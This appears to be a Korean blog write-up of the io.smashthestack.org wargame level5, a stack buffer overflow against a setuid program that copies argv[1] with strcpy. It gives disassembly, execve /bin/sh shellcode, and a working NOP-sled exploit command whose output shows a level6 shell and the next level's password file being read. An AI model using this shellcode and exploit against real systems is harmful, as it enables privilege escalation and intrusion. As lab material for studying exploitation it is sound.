level5

2010. 1. 19. 05:47

level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.

level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA




BOF 군요. 바이너리도 한번 살펴봤습니다.

Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                   스택을 168 만큼 확장
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp)               agrc는 ebp+8에 위치
0x080483cb <main+23>:   jg     0x80483d9 <main+37>
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax           argv는 ebp+12에 위치  
0x080483dc <main+40>:   add    $0x4,%eax
0x080483df <main+43>:   mov    (%eax),%eax
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax        ebp-136의 주소를 eax로
0x080483eb <main+55>:   mov    %eax,(%esp)
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.

쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.


"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3" 

만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.

char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";

void main()
{
        int *ret;
        ret =(int *)&ret + 2;
        *ret = shell;
}




혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..

Dump of assembler code for function main:
0x08048324 <main+0>:    lea    0x4(%esp),%ecx
0x08048328 <main+4>:    and    $0xfffffff0,%esp
0x0804832b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804832e <main+10>:   push   %ebp
0x0804832f <main+11>:   mov    %esp,%ebp
0x08048331 <main+13>:   push   %ecx
0x08048332 <main+14>:   sub    $0x10,%esp
0x08048335 <main+17>:   lea    0xfffffff8(%ebp),%eax
0x08048338 <main+20>:   add    $0x1c,%eax
0x0804833b <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x0804833e <main+26>:   mov    0xfffffff8(%ebp),%edx
0x08048341 <main+29>:   mov    $0x8049580,%eax
0x08048346 <main+34>:   mov    %eax,(%edx)
0x08048348 <main+36>:   add    $0x10,%esp
0x0804834b <main+39>:   pop    %ecx
0x0804834c <main+40>:   pop    %ebp
0x0804834d <main+41>:   lea    0xfffffffc(%ecx),%esp
0x08048350 <main+44>:   ret

스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.

(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)

ret =(int *)&ret + 7;

다 준비됐으니 이제 넘치게 해보겠습니다.

처음엔 [Shellcode] [AAAA.....] [Shellcode address]  이렇게 해보고자 했지만 되질 않더군요.

level5@io:/levels$ ./level5 `perl -e 'print "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","A"x95,"\x30\xde\xff\xbf"'`
°
 ™Rh//shh/bin‰ãRS‰áÍ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0Þÿ¿
Segmentation fault



어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다


[NOPNOPNOP...] [Shell code] [NOP address]  

return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.


./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`

level5@io:/levels$ ./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8L$ƒäðÿqüU‰åQ1ÀPh//shh/bin‰ãPS‰á‰Â°x5d\aüÃHÞÿ¿\xfc\xc3","\x48\xde\xff\xbf"'`
sh-3.1$ id                        Í€Y]
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5)
sh-3.1$ cat /home/level6/.pass
hur9ivke   > mobjy2we


  흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요.
예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
 이라고 하면
NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로
값이 들어가지 않고 이상한 값이 들어가 있었습니다.

혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이
되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다.
결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org